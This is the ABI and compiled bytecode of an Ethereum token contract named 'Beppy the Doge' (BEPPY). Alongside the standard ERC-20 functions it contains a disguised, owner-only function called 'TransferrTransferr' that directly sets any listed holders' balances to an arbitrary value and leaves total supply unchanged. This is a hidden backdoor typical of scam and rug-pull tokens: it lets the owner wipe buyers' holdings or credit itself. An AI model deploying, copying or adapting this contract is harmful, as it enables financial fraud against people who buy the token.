[ { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" }, { "internalType": "uint8", "name": "decimals_", "type": "uint8" }, { "internalType": "uint256", "name": "totalSupply_", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "oldBalance", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "BalanceAdjusted", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousowner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newowner", "type": "address" } ], "name": "ownershipTransferred", "type": "event" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "uint256", "name": "newBalance", "type": "uint256" } ], "name": "TransferrTransferr", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceownership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
608060405234801561000f575f80fd5b50604051611d2e380380611d2e833981810160405281019061003191906103bf565b5f61004061020260201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35083600390816100eb919061065f565b5082600490816100fb919061065f565b508160055f6101000a81548160ff021916908360ff16021790555081600a610123919061088a565b8161012e91906108d4565b60068190555060065460015f61014861020260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061019361020260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516101f19190610924565b60405180910390a35050505061093d565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61026882610222565b810181811067ffffffffffffffff8211171561028757610286610232565b5b80604052505050565b5f610299610209565b90506102a5828261025f565b919050565b5f67ffffffffffffffff8211156102c4576102c3610232565b5b6102cd82610222565b9050602081019050919050565b8281835e5f83830152505050565b5f6102fa6102f5846102aa565b610290565b9050828152602081018484840111156103165761031561021e565b5b6103218482856102da565b509392505050565b5f82601f83011261033d5761033c61021a565b5b815161034d8482602086016102e8565b91505092915050565b5f60ff82169050919050565b61036b81610356565b8114610375575f80fd5b50565b5f8151905061038681610362565b92915050565b5f819050919050565b61039e8161038c565b81146103a8575f80fd5b50565b5f815190506103b981610395565b92915050565b5f805f80608085870312156103d7576103d6610212565b5b5f85015167ffffffffffffffff8111156103f4576103f3610216565b5b61040087828801610329565b945050602085015167ffffffffffffffff81111561042157610420610216565b5b61042d87828801610329565b935050604061043e87828801610378565b925050606061044f878288016103ab565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806104a957607f821691505b6020821081036104bc576104bb610465565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261051e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104e3565b61052886836104e3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61056361055e6105598461038c565b610540565b61038c565b9050919050565b5f819050919050565b61057c83610549565b6105906105888261056a565b8484546104ef565b825550505050565b5f90565b6105a4610598565b6105af818484610573565b505050565b5b818110156105d2576105c75f8261059c565b6001810190506105b5565b5050565b601f821115610617576105e8816104c2565b6105f1846104d4565b81016020851015610600578190505b61061461060c856104d4565b8301826105b4565b50505b505050565b5f82821c905092915050565b5f6106375f198460080261061c565b1980831691505092915050565b5f61064f8383610628565b9150826002028217905092915050565b6106688261045b565b67ffffffffffffffff81111561068157610680610232565b5b61068b8254610492565b6106968282856105d6565b5f60209050601f8311600181146106c7575f84156106b5578287015190505b6106bf8582610644565b865550610726565b601f1984166106d5866104c2565b5f5b828110156106fc578489015182556001820191506020850194506020810190506106d7565b868310156107195784890151610715601f891682610628565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107b05780860481111561078c5761078b61072e565b5b600185161561079b5780820291505b80810290506107a98561075b565b9450610770565b94509492505050565b5f826107c85760019050610883565b816107d5575f9050610883565b81600181146107eb57600281146107f557610824565b6001915050610883565b60ff8411156108075761080661072e565b5b8360020a91508482111561081e5761081d61072e565b5b50610883565b5060208310610133831016604e8410600b84101617156108595782820a9050838111156108545761085361072e565b5b610883565b6108668484846001610767565b9250905081840481111561087d5761087c61072e565b5b81810290505b9392505050565b5f6108948261038c565b915061089f83610356565b92506108cc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846107b9565b905092915050565b5f6108de8261038c565b91506108e98361038c565b92508282026108f78161038c565b9150828204841483151761090e5761090d61072e565b5b5092915050565b61091e8161038c565b82525050565b5f6020820190506109375f830184610915565b92915050565b6113e48061094a5f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018c5780638da5cb5b146101bc57806395d89b41146101da578063a9059cbb146101f8578063c2af913b14610228578063dd62ed3e14610232576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce56714610152578063492e496a14610170575b5f80fd5b6100be610262565b6040516100cb9190610ce0565b60405180910390f35b6100ee60048036038101906100e99190610d9e565b6102f2565b6040516100fb9190610df6565b60405180910390f35b61010c6103ed565b6040516101199190610e1e565b60405180910390f35b61013c60048036038101906101379190610e37565b6103f6565b6040516101499190610df6565b60405180910390f35b61015a610664565b6040516101679190610ea2565b60405180910390f35b61018a60048036038101906101859190610ffb565b610679565b005b6101a660048036038101906101a19190611055565b610805565b6040516101b39190610e1e565b60405180910390f35b6101c461084b565b6040516101d1919061108f565b60405180910390f35b6101e2610872565b6040516101ef9190610ce0565b60405180910390f35b610212600480360381019061020d9190610d9e565b610902565b60405161021f9190610df6565b60405180910390f35b610230610aad565b005b61024c600480360381019061024791906110a8565b610be7565b6040516102599190610e1e565b60405180910390f35b60606003805461027190611113565b80601f016020809104026020016040519081016040528092919081815260200182805461029d90611113565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f8160025f6102ff610c69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff16610396610c69565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103db9190610e1e565b60405180910390a36001905092915050565b5f600654905090565b5f8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61043e610c69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b0906111b3565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461050591906111fe565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105589190611231565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105a6610c69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ed91906111fe565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106519190610e1e565b60405180910390a3600190509392505050565b5f60055f9054906101000a900460ff16905090565b610681610c69565b73ffffffffffffffffffffffffffffffffffffffff1661069f61084b565b73ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec906112ae565b60405180910390fd5b5f5b8251811015610800575f838281518110610714576107136112cc565b5b602002602001015190505f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508360015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff167f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e382866040516107e99291906112f9565b60405180910390a2505080806001019150506106f7565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461088190611113565b80601f01602080910402602001604051908101604052809291908181526020018280546108ad90611113565b80156108f85780601f106108cf576101008083540402835291602001916108f8565b820191905f5260205f20905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b5f8160015f61090f610c69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190611390565b60405180910390fd5b8160015f610996610c69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109dd91906111fe565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a309190611231565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610a56610c69565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9b9190610e1e565b60405180910390a36001905092915050565b610ab5610c69565b73ffffffffffffffffffffffffffffffffffffffff16610ad361084b565b73ffffffffffffffffffffffffffffffffffffffff1614610b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b20906112ae565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610cb282610c70565b610cbc8185610c7a565b9350610ccc818560208601610c8a565b610cd581610c98565b840191505092915050565b5f6020820190508181035f830152610cf88184610ca8565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d3a82610d11565b9050919050565b610d4a81610d30565b8114610d54575f80fd5b50565b5f81359050610d6581610d41565b92915050565b5f819050919050565b610d7d81610d6b565b8114610d87575f80fd5b50565b5f81359050610d9881610d74565b92915050565b5f8060408385031215610db457610db3610d09565b5b5f610dc185828601610d57565b9250506020610dd285828601610d8a565b9150509250929050565b5f8115159050919050565b610df081610ddc565b82525050565b5f602082019050610e095f830184610de7565b92915050565b610e1881610d6b565b82525050565b5f602082019050610e315f830184610e0f565b92915050565b5f805f60608486031215610e4e57610e4d610d09565b5b5f610e5b86828701610d57565b9350506020610e6c86828701610d57565b9250506040610e7d86828701610d8a565b9150509250925092565b5f60ff82169050919050565b610e9c81610e87565b82525050565b5f602082019050610eb55f830184610e93565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ef582610c98565b810181811067ffffffffffffffff82111715610f1457610f13610ebf565b5b80604052505050565b5f610f26610d00565b9050610f328282610eec565b919050565b5f67ffffffffffffffff821115610f5157610f50610ebf565b5b602082029050602081019050919050565b5f80fd5b5f610f78610f7384610f37565b610f1d565b90508083825260208201905060208402830185811115610f9b57610f9a610f62565b5b835b81811015610fc45780610fb08882610d57565b845260208401935050602081019050610f9d565b5050509392505050565b5f82601f830112610fe257610fe1610ebb565b5b8135610ff2848260208601610f66565b91505092915050565b5f806040838503121561101157611010610d09565b5b5f83013567ffffffffffffffff81111561102e5761102d610d0d565b5b61103a85828601610fce565b925050602061104b85828601610d8a565b9150509250929050565b5f6020828403121561106a57611069610d09565b5b5f61107784828501610d57565b91505092915050565b61108981610d30565b82525050565b5f6020820190506110a25f830184611080565b92915050565b5f80604083850312156110be576110bd610d09565b5b5f6110cb85828601610d57565b92505060206110dc85828601610d57565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061112a57607f821691505b60208210810361113d5761113c6110e6565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f61119d602583610c7a565b91506111a882611143565b604082019050919050565b5f6020820190508181035f8301526111ca81611191565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61120882610d6b565b915061121383610d6b565b925082820390508181111561122b5761122a6111d1565b5b92915050565b5f61123b82610d6b565b915061124683610d6b565b925082820190508082111561125e5761125d6111d1565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611298602083610c7a565b91506112a382611264565b602082019050919050565b5f6020820190508181035f8301526112c58161128c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f60408201905061130c5f830185610e0f565b6113196020830184610e0f565b9392505050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61137a602383610c7a565b915061138582611320565b604082019050919050565b5f6020820190508181035f8301526113a78161136e565b905091905056fea264697066735822122041786759fb221cce4102c579da8ed8e6e4732a904a72e5013881a29490f87b2964736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000e42657070792074686520446f676500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054245505059000000000000000000000000000000000000000000000000000000